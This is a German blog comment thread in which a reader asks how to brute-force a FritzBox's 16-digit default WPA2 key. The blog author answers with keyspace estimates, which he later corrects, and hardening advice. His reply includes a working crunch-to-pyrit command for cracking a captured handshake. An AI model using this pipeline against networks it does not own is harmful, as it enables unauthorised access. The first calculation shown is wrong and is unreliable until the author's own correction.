    Ich habe eine Frage dazu:
    Die FritzBoxen haben ja meist einen 16 Stelligen Key mitgeliefert, der unten am Gerät klebt. (ist das WPA2?)
    Nun ist die Wahrscheinlichkeit ja nicht sonderlich hoch, dass dieser in dem Wörterbuch steht. Gibt es bei Kali auch Tools, die automatisch Nummern generieren und testen oder geht das immer nur via Wörterbuch?

    Viele Grüße

    • Brechthold says:

      Listen generieren würde ich an dieser Stelle nicht, die Datenmenge wird da sehr schnell sehr groß. Es gibt deutlich einfachere Wege in solchen Fällen an den Key zu kommen, das Thema währe dann allerdings eher etwas um ein Buch darüber zu schreiben als einen einfachen Blockartikel. Um hier mal Halbwegs beim Thema zu bleiben 16 Stellen ist schon recht hart, wenn man jetzt annimmt das es sich dabei nur um Zahlen handelt würde das 16 hoch 10 Möglichkeiten bedeuten. Also wenn ich meinem Taschenrechner glaube 1099511627776 Möglichkeiten, bei der Geschwindigkeit die ich damals hier im Artikel angegeben habe (58525.92 PMKs/s) würde das 18786746,6 Sekunden bedeuten. Also knapp 218 Tage Dauerrechnen. Gut die Grafikleistung ist seit damals etwas gestiegen, aktuelle Zahlen müsste ich einmal ermitteln aber es dürfte noch immer recht lange Dauern einen 16 stelligen Schlüssel auf diese Weise zu brechen, sollten da jetzt noch Buchstaben hinzu kommen wird es quasi unmöglich. Zumindest auf diese Weise.
      Wie ich ein solches Problem angehen würde führt hier an dieser Stelle etwas zu weit. Ich kann dir hier nur sagen das nichts wirklich zu 100% sicher ist bzw. zumindest nicht für lange Zeit. Wenn es dir also darum geht die Sicherheit der FritzBox zu erhöhen dann benutze ein 16 stelliges Passwort, mache alle Sicherheitsupdates und wechsel das Passwort halbjährlich. Das sollte genügen um die Angriffsfläche der Fritzbox etwas zu reduzieren.
      Was die Tools angeht so fallen mir da aktuell JohntheRipper(kurz john) und crunch ein. Mit beiden lassen sich sowohl Listen nach Vorgabe erzeugen als auch Passwörter generieren und an andere Tools durchreichen.
      Für den angenommen Fall von 16 Stellen mit nur Zahlen würde der Aufruf dann etwa so aussehen:
      crunch 16 16 0123456789 | pyrit -r WIEAUCHIMMER.cap -b XX:XX: -i - attack_passthrough
      Ich hoffe mal dir zumindest ein wenig weiter geholfen zu haben.

      • Brechthold says:

        Alkohol ist wohl doch nicht so wirklich gut für mich wenn ich solche Beiträge kommentiere. Wir haben es bei 10 Stellen die nur aus Zahlen bestehen natürlich mit exakt 10 hoch 16 Möglichkeiten zu tun und nicht wie ich hier ursprünglich behauptet habe 16 hoch 10. Das bedeutet also bei 10 hoch 16 Möglichkeiten und 58525,92 Schlüsseln pro Sekunde 1977597,97 Tage dauerrechnen. Was haben wir daraus gelernt? weniger Alkohol beim Posten zu späten Uhrzeiten zumindest wenn es um Standardthemen geht, der Rest sollte noch machbar sein. Die knappe Formel an dieser Stelle ist Zeichensatz hoch Stellen und nicht umgekehrt. Was mich jetzt dabei viel mehr schockt ist das mich an dieser Stelle niemand korrigiert hat, entweder liest niemand meine Kommentare oder glaubt ihr mir ernsthaft jeden mist.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.